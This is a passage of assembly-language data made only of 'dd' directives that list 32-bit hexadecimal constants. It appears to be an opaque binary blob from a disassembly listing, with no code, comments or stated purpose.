dd 228701F9h, 88640EA1h, 0D86221ECh, 0DD00193Bh, 55B28596h
dd 0CEA575h, 74A74EBCh, 78E41601h, 9369351Fh, 5D535E00h
dd 3E4AD297h, 0FA8E149Fh, 3037E23h, 0F69341D9h, 0EBED96F0h
dd 8CE7DD1Eh, 136D36C0h, 3A93F2h, 78045C7Fh, 5D2057D7h
dd 0D80D0DEh, 0E198E660h, 4662139Ch, 0F8D20771h, 8078A4EFh
dd 0CC3A59A5h, 43A5BB00h, 64CD9DA1h, 27220355h, 6954B6CEh
dd 5DE37A80h, 5B77151Fh, 2D57B00h, 96B42h, 0CB416E2h, 560D33F7h
dd 0E80058F4h, 0C2110418h, 62DE09h, 658A7FADh, 0B5D130A7h
dd 0E9FBAC00h, 4316948h, 0E8430FCDh, 24600DDDh, 0AC08D9B8h
dd 0EE461503h, 0D94D1378h, 7CE4DC2Dh, 7A1E0043h, 5FD37F61h
dd 7601E2A6h, 7B4B24B7h, 2DD025EFh, 40F0D0h, 5710C515h
dd 8AA8D9BFh, 6E32E31Ch, 9E303FC0h, 7D824BD5h, 282B0B26h
dd 0CB00E9F1h, 37EDA069h, 316CC300h, 0E3562151h, 82AD031Eh
dd 0DE953D06h, 0AA235018h, 1DFA8A8h, 317F9C7Ah, 6044D33Eh
dd 0ED0F56C8h, 5F830541h, 4F6FE383h, 23D4D88Fh, 1CA00C7h
dd 0C145ED75h, 90039D2h, 0ECAAE41Ch, 0B3CB4ACh, 560AFF9Bh
dd 66E48075h, 6DA7A2D3h, 0F0B67025h, 131C8428h, 2F00CD7Dh
dd 5DA827E0h, 79F10001h, 0AD8F8AC2h, 72123B55h, 29FCFEE7h
dd 1C893C00h, 0DFDBCD7Eh, 30A6A800h, 0B2CE79FCh, 40580159h
dd 3FF0F766h, 5D8B4011h, 0C200F488h, 0AC590EFh, 168B4C4h
dd 220B93CAh, 0C8E50F43h, 100DC49h, 3602C1CBh, 0AF25F77h
dd 4C05A79Fh, 0E63A86BCh, 0C80750D8h, 50ACD57Ah, 54DF8150h
dd 982C0059h, 0DC31762Fh, 74ECC03Dh, 68C6B400h, 63DEEDDBh
dd 26DD1D42h, 203CA081h, 447D8061h, 4B49414Eh, 1F0500A4h
dd 51366438h, 68000AB6h, 2DBF33B5h, 0C05E20A2h, 9480838h
dd 0EE137E8Ch, 0F5075043h, 228017B6h, 3020382Fh, 77B0B18Eh
dd 0AE3C4A51h, 4BB48007h, 289DB509h, 5DF8A82Fh, 273D0764h
dd 0F04F36B7h, 5494089Fh, 0F34CBFF8h, 0D9B84F53h, 9DD0A05Bh
dd 7A1E84E8h, 4170D556h, 50F5179h, 0D078728Dh, 0F1D800E7h
dd 0B844AD50h, 8700CE7Fh, 64EAD501h, 0C11C7CBh, 71671778h
dd 7A003230h, 7E273B02h, 0F42390h, 0A89D54C7h, 6939B43Dh
dd 0A2800503h, 0E045565Fh, 3C6C9Eh, 8D927B10h, 0C50CE6CCh
dd 42D7011Fh, 0D2C8E000h, 90B4F032h, 0C0D001F9h, 62FE266Fh
dd 70BCD6h, 0B49D5E39h, 0FB048Bh, 66CBAC77h, 0F9155823h
dd 738EE7Bh, 0A4A3036Eh, 86B60B49h, 0ADEC0149h, 4D780CD7h
dd 0F2FFE0CBh, 68369E00h, 0F1823965h, 171EA51h, 9BAAB522h
dd 40E6CB62h, 0DF93A110h, 4544D800h, 597C6B2Fh, 827B0087h
dd 0EF2CF192h, 39181504h, 0CD0890E0h, 62110089h, 0E4FA81B5h
dd 180DDD21h, 20EFA495h, 0DC03BE0h, 73430AC9h, 0D01C074Eh
dd 9EB31FC8h, 3B105600h, 93EE73EAh, 16E60A7Ah, 0B9F8A8h
dd 97D183F2h, 510070C7h, 1EAB9B0h, 3FDDC73h, 0A740DD5Dh
dd 27B0A179h, 5507839Fh, 69E17E72h, 0AFB134h, 0D8509070h
dd 8500F9DBh, 0DA657432h, 30BEA48Ch, 7DB87173h, 0F8001804h
dd 4BE9FF2Dh, 40082Fh, 805E748Ah, 75DE7A71h, 0C9223C00h
dd 0E7B31ECh, 0D3D701EBh, 0FACF6B4Ch, 0B302CCE0h, 2976603Ch
dd 5C046Ah, 4A703CE1h, 0F3495E67h, 75005DB0h, 89E63D1Dh
dd 105735Bh, 0EAE27CEEh, 602C0C27h, 0A003528h, 0D1417297h
dd 162E89E5h, 1E3BCD64h, 721132Dh, 0F07DD40Fh, 8A3CECF7h
dd 0DE09300h, 0A8393533h, 776E0074h, 0AA28AF9Dh, 430FAECAh
dd 2053E2ADh, 18E99E8Fh, 45E7288h, 0F54BEF1Bh, 771CFBE1h
dd 2C008BD6h, 0A3417136h, 0B6460040h, 659A4F6Dh, 0CF017B28h
dd 30132A33h, 0B1E06779h, 51CB00E9h, 0F08FCAA8h, 0A50092F8h
dd 0D61C8D2Ch, 45086Eh, 0D4B9CB6Dh, 0F981CD89h, 0C96BFC07h
dd 22809E1Ch, 320130DDh, 0FFE6E041h, 69152C0h, 2A53E800h
dd 21EA6759h, 6AEF004Ch, 16987E55h, 0AFC1045h, 0CA410300h
dd 0B9488584h, 4C7B0024h, 0AEDC1F67h, 0CD0596F7h, 0F869D608h
dd 76CC8C0h
dd 19880041h, 70AD4F06h, 0FE003EB3h, 0F92A5BB7h, 137A5008h
dd 0F010D6D1h, 0DE049191h, 73DD5CE8h, 2AB4A7C0h, 48B7040Fh
dd 0C0E4526Dh, 5FEA26A2h, 54000A7Dh, 55395AFDh, 6B984Bh
dd 9B246CA4h, 0D54DFE43h, 750751F2h, 98E1DFD3h, 32809690h
dd 9C66003Ah, 0ACBA7C0h, 1002F8Eh, 91E406D6h, 6E533Bh
dd 74888A5Ah, 387AB5AAh, 0D8BB792Fh, 2B021621h, 0AFFC0060h
dd 0C8EBC62Ch, 40841C24h, 8F03D100h, 0F6D5E8h, 40C39B47h
dd 3A1DD90Eh, 0EE488200h, 0B5DBE477h, 508E07FEh, 70A39A05h
dd 24D98179h, 0A6B1F701h, 5E174A26h, 2230EB47h, 9E7030h
dd 401F698Ch, 94C4D664h, 5300D077h, 6665CD7Ah, 4C045D85h
dd 1403753Dh, 15374736h, 3007E5F1h, 6B0088B2h, 402CA9BDh
dd 132797h, 1C53EBC8h, 69C6D0D7h, 0C2572005h, 0B280E9E1h
dd 0FAEEBC3Bh, 0F2C00C5h, 0EA0AE41Fh, 0A3007612h, 249F9039h
dd 0B036A4B0h, 0BE940080h, 4DAA06EBh, 0A000CF1Fh, 67B942BAh
dd 2EA385h, 0EAEC90A8h, 8E114692h, 71E25A00h, 0CD68AD26h
dd 32F903D7h, 66F802DDh, 1A7590C0h, 7CA28200h, 0DC914EBh
dd 8B4012Eh, 0AF9A0F05h, 0EF1C30CFh, 0F6421004h, 29C064E9h
dd 3E79B439h, 498084E4h, 9E0E889Fh, 477F78FFh, 505B5701h
dd 0E0F6C24Dh, 28583BD0h, 0B314A8h, 623927C9h, 0F98D6A7Ah
dd 0CD971900h, 8B7D1ECCh, 0A1BE029Fh, 4671FF72h, 0ED29A9E0h
dd 67584400h, 0CCBBF5FCh, 6D04006Ah, 0B6523B87h, 8800DD54h
dd 4A7FC1D1h, 789F63BDh, 0E3AE1D29h, 96C04012h, 7D29E25h
dd 0C600167Ch, 6A5645ACh, 65A198h, 34CFE28Eh, 0C5F1279Ch
dd 2D3C1F0Fh, 51A90087h, 7E14994h, 36D3A854h, 0B763F08Fh
dd 0DF004A77h, 1FF5922h, 76AD252h, 0E437DDB5h, 0E04DB795h
dd 0EAB6DBF0h, 0CB577D00h, 0E56E1934h, 0BDC104BCh, 0C0D32B0Ah
dd 1C84D518h, 370045E2h, 0AC2EE1BBh, 9A34634h, 9DA56C7h
dd 50FA9502h, 1B9123E0h, 0DC6A2700h, 30451278h, 0F83300CDh
dd 9A4055Ah, 0EA2C03BEh, 0BC00A383h, 9D861970h, 0CC231220h
dd 2B9020DCh, 0C200F9FDh, 53DDB033h, 1F93C76Dh, 0C1CD65F6h
dd 8606B661h, 6F9CE0ABh, 0CBB27000h, 5FE1B0FEh, 343C00F9h
dd 0EF4DE8F6h, 70001CBBh, 3727D8Bh, 9F77ECh, 6CB77C6Ah
dd 0A2F4D769h, 66D62900h, 0C0545BAh, 0B0031FD2h, 404FD830h
dd 0F7091D0Ah, 0AC0236F5h, 0E80859D4h, 6F092h, 866F0F88h
dd 0B7E63325h, 63C921C0h, 5F8CF9h, 6E9E26FEh, 0F7C75D79h
dd 3E7931Ch, 5100AEA8h, 0F08884A1h, 70C50CFh, 0FD24BD9h
dd 2825B253h, 0EE64A840h, 284E0630h, 18FCB5ECh, 10AE9277h
dd 350A8C3Bh, 0B5225F28h, 78002716h, 9FF70207h, 0C9F826CAh
dd 0D9131Fh, 95C4361Ch, 43022A28h, 0EBD42DD0h, 962C4037h
dd 75A3000Dh, 0E545015Bh, 0D2005A94h, 7EE02DFAh, 0B510F3h
dd 4A68D7D1h, 0F68F8DC6h, 57CA3700h, 8847EC34h, 481D4DC8h
dd 23772B0Ch, 7800DB70h, 91F07371h, 186286h, 0EF8D9941h
dd 1589DDF2h, 18022B26h, 92060E00h, 126D7E0h, 0B50D9FFDh
dd 0FC3C08ABh, 0BB3AD947h, 0F1700003h, 4E854504h, 0D166005Dh
dd 0FBA1DBC9h, 0A43D6505h, 698200DDh, 6B01B030h, 67C60037h
dd 0C3D5863h, 7E244FA4h, 813F9397h, 2C2932AAh, 6BF80285h
dd 0BF83174Bh, 1F48005Eh, 11388ED2h, 17428800h, 0ECD97068h
dd 5AF39BBh, 2AF1EF85h, 2094C71Dh, 0D6E752F9h, 5F4CC703h
dd 0C3BD645Ah, 0FF9798C0h, 0E36E0560h, 807B3C98h, 41B32084h
dd 8006C7Dh, 0F093C0F4h, 0F0FFB4Ah, 0E6298431h, 0F9175D23h
dd 47C16AA8h, 2DD9AA00h, 0A3B4B7ABh, 6CB868h, 49F3D169h
dd 8E707667h, 164ABE0Eh, 4B35609Ah, 1F66B0h, 139665CCh
dd 5AA624AAh, 82F00C73h, 0C9E90900h, 0A7D21829h, 3A90063h
dd 6B786231h, 92007467h, 0B2EA1C88h, 0FEA4F7FBh, 9C6928EBh
dd 0F8CAF49Dh, 7F350091h, 0AB572E95h, 1A487C88h, 25BD0EA8h
dd 0C0005762h, 716DB409h, 74800052h, 83A11C19h, 821F4D38h
dd 8F445CB0h, 0AE805AFEh, 423ACh, 0DD0ECA95h, 5278477h
dd 0B0B25E01h, 4A0A299Dh, 2686F8h, 0D1BE55A5h, 7944D7F9h
dd 63735300h, 9AFEDDC1h, 421426A9h, 1C026F6h, 0C2BD134Ch
dd 0B0829E6h, 8022D4CBh, 0A0AB2C64h, 953B0075h, 0E186F055h
dd 0D0080D5h, 88E0C030h, 42D07Eh, 7A8A6DE3h, 63CDAAABh
dd 74B5FD00h, 7B5E975Ch, 46AD0E24h, 0B7A5BDC5h, 2D608056h
dd 6200B2F2h, 8C5FCA73h, 0F2D76AC3h, 0F918013Fh, 14DC0F33h
dd 54E1305Dh, 6675E700h, 0FA173702h, 0A2BA1C90h, 0C50DC0B7h
dd 0D0277035h, 1139B39h, 792B0119h, 20D8CFDAh, 91FD00A7h
dd 0B9EC9CF6h, 9400D2BEh, 23A4B1C2h, 99D3F3h, 2F137FE0h
dd 0EC6E6988h, 8863200h, 76EB54A6h, 9F8900A5h, 0B9E1FA4Eh
dd 9B00E5BAh, 3923AA0Dh, 14A852B1h, 0D07C06BDh, 0F4B6D500h
dd 414D7294h, 8F8C500Ah, 0D49FA0A9h, 15B81BC0h, 3F7A44E8h
dd 570E6442h, 68007FFh, 0D56DF3BDh, 0E8857601h, 4CC6DE34h
dd 9893C0F2h, 52602602h, 69C50098h, 0FEDBF780h, 4FD23D00h
dd 0E1A535BAh, 1F19FEDEh, 0E1C57DAh, 0A0212938h, 0D8FB1259h
dd 0F0A0244Fh, 55581328h, 0CAE20040h, 0F6540C8Ah, 778B002Ah
dd 4B1FEF2Bh, 4500685Bh, 533D8143h, 5A3EB32h, 2AC407EAh
dd 0C6788197h, 0C09D20B0h, 4D755C00h, 0DEDFA788h, 1762FE25h
dd 1707F5h, 4171AEDFh, 0E40083B4h, 0F9BBE292h, 7E8BABh
dd 0BC942FC8h, 0E0586651h, 81197139h, 2B4090D9h, 0F0405346h
dd 0F3AD5FDBh, 32A5D8C3h, 730100CAh, 313FE98Ch, 350FB560h
dd 607F57C7h, 0FB45B402h, 11D90FF4h, 407ED652h, 765FC164h
dd 0C4488A9Dh, 0C8C90470h, 5B81B137h, 0F1CC3017h, 4E56009Eh
dd 88F7D8BBh, 0DC06341Eh, 42946AC6h, 901004C0h, 8016F3DEh
dd 81F8D48Bh, 1084701h, 0C968856Fh, 5BEE1F0h, 19434021h
dd 80BA84CEh, 340BC7BBh, 0DE44171Eh, 756336C0h, 161A335h
dd 0EABFFD9Ch, 34A19E27h, 4909AF58h, 80E95851h, 0E87B5C9Ch
dd 110E6B0h, 6920CC31h, 2056AC15h, 55090195h, 0A0DF6D9Eh
dd 99C69F98h, 335C0E4Bh, 6E0089C7h, 7A88395Bh, 70826300h
dd 27D5A3CBh, 343B877h, 0CF058376h, 56E022A9h, 90A060CEh
dd 0D400F7DFh, 8D21B67h, 0A93D5Eh, 0CA69D5A5h, 74ABB3B1h
dd 0A652300h, 2590AEFAh, 0A2F8E5h, 0FF45EA63h, 0D7894854h
dd 0E9067DE8h, 5714A47Fh, 2D7788h, 0AA86B93Ah, 0C9CAD7F5h
dd 16BCA650h, 205052h, 6C5EDA21h, 79CA3DB7h, 3ACC00C2h
dd 0B3340206h, 890379C3h, 0EC1F8D87h, 42CDD85Bh, 524B0058h
dd 0A42DD681h, 3D00B2FFh, 0D295CBC8h, 26DFF1h, 6434219h
dd 119B5CD3h, 0D124EA00h, 0BDF22A92h, 0CD9E1ECBh, 0BA9780FBh
dd 75B2F53Ah, 0ACFCEE5Ah, 0E8DB2A01h, 0DCC78A54h, 0AD48D2B7h
dd 0D000723Ah, 0BAF50A61h, 1A605Ch, 4CEA5BF2h, 26F96771h
dd 7831E900h, 7588AF36h, 0D9CA3A60h, 0C5B0A24h, 0BD46BBE4h
dd 9D5B0B00h, 0E2CC28CDh, 0AE18000Ch, 59140A06h, 9C0004D9h
dd 0FF358356h, 39EB517h, 939AB339h, 44E86806h, 3F00AA5Eh
dd 3B237EAFh, 7F6382h, 0B8CA87BCh, 0E1157013h, 9D965D16h
dd 0DF002E1Fh, 8243FDD2h, 3D781F74h, 79198ED9h, 27548641h
dd 3E9C7099h, 7849E900h, 0F34495ADh, 0FAEFF430h, 0BB201760h
dd 0E764003Fh, 1F01A723h
dd 0D21D1800h, 0D0B670A9h, 0D7B31F6Ah, 0CD9C822Ch, 0E9407A4Fh
dd 0A858F141h, 791960E7h, 0F4F24E7Bh, 0F59A0028h, 9B5814C6h
dd 0B107E1B9h, 29CBCD3Fh, 0BF06F950h, 0EA620308h, 7F481BE5h
dd 0D8BCADF1h, 0B3F4E1B2h, 5F82E300h, 0EE091645h, 7FC01C42h
dd 2A51E0Ch, 44C76861h, 0B931A880h, 0AF015CA6h, 4AFE5F26h
dd 64CCC457h, 4E980051h, 591D093Dh, 101CD9D5h, 0E180187Bh
dd 3217F2F6h, 2180A0C9h, 0F7AB01BBh, 0B50B0414h, 5FB02B39h
dd 3CC47D74h, 0B8070724h, 0AFBE5718h, 3A70EDA0h, 0F800F591h
dd 0E5D9D601h, 0D5E17h, 56773041h, 4A882CCh, 9576E0Fh
dd 0DEB02319h, 96BE907Ah, 2EF50045h, 48E65DDFh, 0AE02623Ah
dd 740EA4B6h, 0EB70E04Ah, 78167DBAh, 0D6D0092h, 0B06975ACh
dd 0F800723Bh, 1A03767Ah, 3BE9C54h, 7926FEC9h, 998028EDh
dd 227D9ED8h, 95B8B03h, 0B0A6B6DCh, 0C59DA4h, 0D189AA49h
dd 0BCC7BE59h, 0CD932500h, 12283826h, 77910029h, 0B15E303Dh
dd 100F2FEh, 6255F3ADh, 57ED74h, 4875053Bh, 7EFE0DE4h
dd 2ABC0A07h, 0A87028D1h, 817C9Eh, 0E9A4836Fh, 9AD95101h
dd 4E918E00h, 603CD6B3h, 0C26700E7h, 7A8C183Bh, 8500639Fh
dd 5944C174h, 213908h, 4573ED54h, 0C02A7A29h, 78BAD601h
dd 5E85429Dh, 189BBE40h, 0CCB00B1Eh, 118E8DECh, 0E81CC0C0h
dd 6C090C7Ah, 8173217Ch, 0DA8775F6h, 3A3D170h, 0A8029FE9h
dd 0C5B84A3Ah, 5C003EC7h, 92E6476Ch, 0C2B7D8h, 0AFA9017Fh
dd 0E5D1CEAh, 0EED59F00h, 9264711Fh, 85E10038h, 8208166Bh
dd 0AE014A48h, 0FF4ED3B2h, 0A69E215Dh, 0A846CBC9h, 0A4BFE380h
dd 81030A25h, 1A6FCD26h, 3C9CF04Eh, 3AE60064h, 8A5518FCh
dd 90018EE0h, 5D32E154h, 3670C419h, 5C6A0013h, 0F54C8117h
dd 6005FAEh, 0E5AD11ECh, 72993B76h, 0D6BE03A5h, 0DF075478h
dd 0C980E893h, 17747BAEh, 680EC001h, 7FBECBF7h, 0E2207AD0h
dd 862A005Fh, 0B6E1F47Ch, 0FB006C09h, 1069D837h, 0C4756h
dd 0DFBC6D2Bh, 4FD9CCC3h, 0E6E5B60Fh, 235C6619h, 6FEEBAh
dd 9E1214BFh, 0D80B71BBh, 0CF499300h, 2497E18Dh, 0CA0A0059h
dd 0D4EA9476h, 1A008031h, 0A2FD2F4Bh, 0A59617h, 36E5B2F4h
dd 851EC56Fh, 0D142AF02h, 0C0DFC311h, 75FC4BD8h, 84745061h
dd 0D5380BA3h, 700F942h, 526D1348h, 4D873503h, 83491625h
dd 73D1D821h, 0AE9E0066h, 8C63A574h, 8000DE4Dh, 0A0E1CEB5h
dd 79880Dh, 0A59BA7C0h, 0F0E02FFh, 0BC0F7671h, 20FA4201h
dd 28AD4036h, 6EAA00E2h, 7EE599C5h, 0C1A03241h, 0A300AC3Fh
dd 48104EADh, 902E2AF5h, 3921000Eh, 1ACCCEABh, 6871A631h
dd 0FA74F300h, 2DFF4D01h, 72B70BA1h, 1085BD71h, 7510205Bh
dd 2E252DB2h, 40C88E13h, 0DB1903C2h, 0CA8C01EBh, 7D2D4F22h
dd 84882CB6h, 1643880Ah, 70DB03CAh, 8D2EBCA8h, 6978B030h
dd 7F93E7C1h, 0A529006Eh, 0C3CD0E1Fh, 0EE1FA70Fh, 1C92C6ADh
dd 8DE12880h, 76D400F8h, 6C1A75CFh, 0B100FB52h, 5974A72Dh
dd 960FA1EEh, 0C833042Ch, 537CB063h, 4BC5C900h, 1E023444h
dd 9A7D00FFh, 0B823DF5Dh, 0E3E85EDBh, 0EAD22D1Dh, 6D840200h
dd 178E9AAh, 0C8CEAFEBh, 0DD9EC4F8h, 24353014h, 34D2BA00h
dd 0A46692C2h, 0BD2C003Eh, 0D13A84D4h, 6E002B03h, 0A57B4086h
dd 8D2D14h, 9E1E731Dh, 57BA0199h, 0F94A400h, 0DB5B91C9h
dd 625A002Ch, 7CEECEC4h, 5F12DE03h, 3440E2D1h, 6BAB7DC0h
dd 0AA080F2Eh, 93A169A4h, 9ED115A1h, 0A8401B20h, 5A19DF94h
dd 0EF9E41Ah, 512989E4h, 9A118180h, 70A884Dh, 906999D3h
dd 219EEF00h, 7321508h, 4FB472D1h, 21BDD638h, 0A8003070h
dd 84673E0Bh, 6CD3137h, 2C5DCCEh, 0E80799E1h, 909D8245h
dd 80B8E3A3h, 508A6B01h, 5DC0D9h, 9683111h, 4C8BDCF0h
dd 7152B700h, 0C62604FAh, 9F410001h, 53C34F3Bh, 2516708Bh
dd 30407114h, 3D91EACFh, 4DC402B9h, 288521Ch, 38928C97h
dd 808C5010h, 3DD73E79h, 6BF01D1h, 159AF90Eh, 4183E823h
dd 437D7100h, 0DC90A153h, 0E5CF00DBh, 0A48868C2h, 5B756E37h
dd 0B59EF300h, 0AA38291Fh, 8DB884h, 98015F8Ch, 5145ECF5h
dd 77033F58h, 0E1925703h, 0E06D559Bh, 3DA8B8h, 8877D4DFh
dd 0CBDE270Ah, 2F509Fh, 0C0E06005h, 374263ACh, 48062D00h
dd 0DAAD5717h, 438D0026h, 0FBC94CE4h, 2F0065C4h, 98CFF54Dh
dd 3E3DBC2Dh, 772C0CD2h, 250700E5h, 0A59D4755h, 2EFBB109h
dd 0B92280EDh, 0C0B88492h, 0EE226E98h, 0C1008976h, 0DD2550D3h
dd 71F32BCh, 0EF32016h, 0ABE450C6h, 0A2E0BBA0h, 6AAFBF00h
dd 0D7B8293h, 1C68E84Ch, 409EC246h, 0A7E72739h, 5900FACBh
dd 43712A1Bh, 9CB41Ch, 8184FFF4h, 0D91A12C8h, 6E367B00h
dd 0E7BBB70Bh, 54A20010h, 0C4641D3Eh, 841DA527h, 0A44055CCh
dd 8209BB08h, 0E92A0ED1h, 0E7A3C64Bh, 58F025CAh, 0AAC04112h
dd 0AA40919Dh, 218B00A3h, 24CFFED9h, 62015B43h, 6A7F22FCh
dd 54600A8Ch, 0F3B039AEh, 59C67500h, 7869BCB9h, 14E07D00h
dd 84578810h, 0C98901B6h, 52CF18F3h, 0E565DC11h, 7143CB01h
dd 22A8962Dh, 0E680A545h, 1BC7778h, 0BE3E578Bh, 0D8F94142h
dd 0C0001233h, 0CEC8BBCCh, 0E0E91EBh, 0B0C44B88h, 0D8E9734Ch
dd 5A53B200h, 365B697Fh, 4F990042h, 0EB2D877Eh, 2626B04Ch
dd 0CD0E95A5h, 75DAA324h, 0ADC900A3h, 0C5CFAE0h, 0CE00A4E9h
dd 99AC4A24h, 0C12C8Fh, 50326364h, 0CD3DF2E5h, 4A0DA80Dh
dd 24FC7817h, 0B96D007Dh, 41286ACEh, 3B011FCDh, 90637523h
dd 0D61A174h, 0B7C7D0h, 8FAA66A7h, 3B0BA009h, 0E8A54B00h
dd 9F765519h, 7AC1383Dh, 0F2E29700h, 0A9EB5D8h, 0BE089500h
dd 4A3BA441h, 0CBE01E49h, 1D08064h, 81CC9F1Dh, 148D6500h
dd 2D215661h, 0F41001Bh, 0C2C5C435h, 9E2E773Eh, 6A00D1E5h
dd 675B3952h, 6EA01F19h, 12D100DCh, 255F0579h, 2F66DF0Bh
dd 20CF008Bh, 0FBC103h, 942DE7DDh, 6F3A3999h, 6C014800h
dd 0F93F735Eh, 0D680009Fh, 92B6DE79h, 590F152Ah, 0A074062Ch
dd 31A36313h, 0B36900A2h, 8DDD37CCh, 86076504h, 45487C66h
dd 0F8AA8E40h, 26D598D9h, 3056D46h, 0E1AFE5B9h, 589B4080h
dd 0EFBB3203h, 90FF85E8h, 10768h, 7241BC93h, 8150EE8Eh
dd 0AF069BE4h, 3B97EDAAh, 0BE6E0062h, 94D6A63Dh, 0F80088A1h
dd 5B269863h, 1385619h, 5EDA97B5h, 70502F9Eh, 0BE7A957Ah
dd 7505A07Ah, 3E682DFEh, 108A2028h, 80B26923h, 0F86F2DC7h
dd 577107E7h, 0F641619Bh, 0C9725093h, 0FDCB058h, 0A6D13C8Eh
dd 548C1A5h, 0B9B23113h, 745780EAh, 3D00A489h, 85AF91D6h
dd 7DE9629h, 0B8297EBh, 603577BFh, 0AF90DACBh, 317C260Ah
dd 0C900A479h, 81E35F68h, 0EC860741h, 6105C59Fh, 30488E02h
dd 0BF606E1Bh, 4FD77A28h, 0D23B06F9h, 602CE603h, 74E7BC00h
dd 2BF1044Ch, 342A0071h, 609BA416h, 0C700FDAEh, 0C6EABE94h
dd 6336C85h, 0CE121566h, 6F00B8CDh, 0BEAAC4C7h, 15048C6Eh
dd 807C1EF9h, 0CC6571C0h, 0D04659FBh, 529E8Fh, 0C5AF7C3Eh
dd 1701E0CAh, 3A372DD4h, 0AC47F284h, 8DE87D0h, 0D6D50010h
dd 7865A1CEh, 0BD0396B7h, 0CD613059h, 44F1E83Eh, 0FE8530E0h
dd 3F985BE0h, 0A0B3C80Fh, 6EEE20A8h, 2810913Ch, 1F80EAB2h
dd 0CA050DCAh, 5820FC4Dh, 0DD11AE58h, 0B407BF30h, 20968165h
dd 0DB317673h, 0B171B301h
dd 0A6C64115h, 9AF6D040h, 9B3B00DAh, 0C3DF0482h, 0B20AF39Eh
dd 0C82C7B4Eh, 6CAF6000h, 0C606FFh, 0EE8C6752h, 2B89353Dh
dd 98267C00h, 55F5CBD3h, 0B7E800D9h, 0CF1BF270h, 1000B8E2h
dd 0ED9A35DBh, 1886640h, 9C5B33D1h, 870A6CE4h, 1CBAFE61h
dd 4200EC4Ah, 7EF85135h, 0B0577E98h, 68866008h, 0A3686F43h
dd 700F81E6h, 0CF5CD70Ah, 0F4005264h, 55FC8D5Bh, 0EF7F0ECFh
dd 0EC3C1E4h, 44F9B64Ch, 645C2008h, 7166ED00h, 7662979Ah
dd 52570E60h, 9E604BD3h, 126CC77Ah, 0E7132907h, 2BC132B4h
dd 8080BA8Bh, 4F270671h, 0AAF0BF5Ah, 0D1EA087Dh, 0E9D4C71Fh
dd 59AE8FC0h, 68194Eh, 0E575428h, 2FACF6ADh, 0A3999000h
dd 1520235Dh, 478B01C4h, 0BD33EA81h, 0AE044882h, 0D3024E0Ah
dd 0D1F60C6Eh, 0EA03008h, 0B100B26Dh, 0BB10D893h, 218892Fh
dd 0E97D449Eh, 0C8224B7h, 0FE1063FDh, 4CA28495h, 94A60C02h
dd 846AF910h, 1525C521h, 0A21018ADh, 71F5812Ah, 960045C8h
dd 624081CAh, 0F91D0F69h, 0D09D7EC2h, 8771811Fh, 1895C18Fh
dd 0E51454F0h, 50741857h, 315924ABh, 0F261C9A1h, 0D184177h
dd 7B484065h, 1F40AEFAh, 48E86321h, 87F852D2h, 4C00EA83h
dd 49EF662h, 549101F5h, 0CDA8C8h, 0BB68F399h, 0CAD42A2Ch
dd 98CB7514h, 65CF00B8h, 96C08941h, 4AEE068Fh, 5077DEE0h
dd 5D8848h, 9F5FDB63h, 0BFD303h, 0EE4BFA14h, 0F2A20B7Eh
dd 2123BD00h, 699B808Ah, 1EA00356h, 0E0BE6CD5h, 9D006872h
dd 3892749Eh, 0F0C669h, 182309C1h, 0ECE994BDh, 0D0544005h
dd 4C2001D5h, 6060AC8Ch, 0E47AC019h, 2D00F0C8h, 7F5B736Bh
dd 0E62FCFFh, 443B69E9h, 2010CE60h, 2A003442h, 8C3FD53Ch
dd 0A324A0h, 6B5F332Fh, 0ACA223CBh, 0B0A9C401h, 918D8914h
dd 0E61CB0EEh, 3985B4h, 9CD75C89h, 32D4EEFh, 64C92701h
dd 99D8197Ch, 1B004275h, 2AD4B6BBh, 74416DE4h, 329B097h
dd 9D34D016h, 0C09D8E25h, 0EDB7E5A8h, 171A61Eh, 0FE6EF4C3h
dd 0C0281F7Ch, 48840435h, 1CE3C08Bh, 0B2ECBED6h, 0D9E67900h
dd 21F7110Ch, 9B7800FFh, 7F02AB95h, 0A4001C81h, 34A2EE5Fh
dd 0A9C9AAh, 13243930h, 639DC34Bh, 73AC80Bh, 3E098032h
dd 0B8B4D856h, 82550040h, 272FF099h, 0B0C03487h, 4B8876EAh
dd 740100B9h, 55A92978h, 0E9149DEFh, 608D1F1Ch, 3A263E28h
dd 572B0046h, 5C3BFFDFh, 8E0A1E95h, 58E9FECAh, 9F59235Ch
dd 4C4EA259h, 0C308F400h, 0FB93FEB0h, 21103100h, 609D181Ah
dd 0D01539BAh, 27052A81h, 0E0DC4608h, 0BB306A3Ah, 0E3ED40BCh
dd 1832E280h, 31BF8516h, 58023E7Dh, 66C62327h, 5F28039h
dd 0A0CB29h, 73AC9BC7h, 6C1E7DAh, 0CF037E77h, 1370B53Bh
dd 4CDD8091h, 9D360044h, 33754B66h, 0DE035DC1h, 1C52793Ah
dd 0FFA6D8E3h, 58F400E5h, 4597AE68h, 0A900758Ch, 0BA6C5015h
dd 13D7D5E1h, 0FD017EEh, 33407CE0h, 71F264F0h, 0A6D1C40Ch
dd 0FC693020h, 25CFE47h, 10183337h, 0AC9516AAh, 8497ADC1h
dd 0B581E8h, 0FE0512E4h, 0CBA55BC0h, 94915D7Eh, 9FDB003Fh
dd 3437861Eh, 0CD100558h, 2B4E7E07h, 916882F0h, 3798407Ah
dd 55950E14h, 0FA01DF5Dh, 26905799h, 0B0866034h, 190F2Ah
dd 0BEC687EAh, 38937EFEh, 0D4B81B09h, 3EE81D4Dh, 46A1DCC9h
dd 6A03F8C0h, 416B6800h, 93509760h, 0A22E2B88h, 73038084h
dd 12C187BCh, 610070E7h, 250BEF00h, 8C63913Fh, 0DB900031h
dd 765AFD15h, 0AE0027B2h, 322C8FD3h, 5D7BB96h, 534B23CFh
dd 3A844BC7h, 780089FCh, 9264E920h, 9B060055h, 293EBC86h
dd 0D0A4CFD6h, 0A141A600h, 0D3BD5056h, 0BE8D1227h, 87642BB2h
dd 498456BBh, 484B08C8h, 0BD26BBDAh, 0DDD60EA9h, 0E27C7400h
dd 0A60EDF0Dh, 0E9D2CF7Dh, 0E00C15D9h, 0E488B85Eh, 6A12D3E6h
dd 4209358h, 3B4DF5DEh, 38813FEEh, 23C0B08Fh, 0A0FC4A5Fh
dd 27BBDE0h, 560C0912h, 0F490278Ch, 240A7D0Fh, 80AD1625h
dd 0B909C78h, 60B7D20Eh, 76812837h, 0A97F1D35h, 2A61C458h
dd 90A859h, 4FDA846Ch, 0BB04A9FFh, 0E845332Ch, 32910C3Ch
dd 0E35D1009h, 891968E0h, 0B8C303Eh, 0C5E01641h, 0A7780C7Ah
dd 0CD20BA7Dh, 2076C13Dh, 46FA1419h, 0B500C06Eh, 0AFCA1C59h
dd 72002650h, 0F1E75734h, 0E0D67021h, 40954937h, 26B0B430h
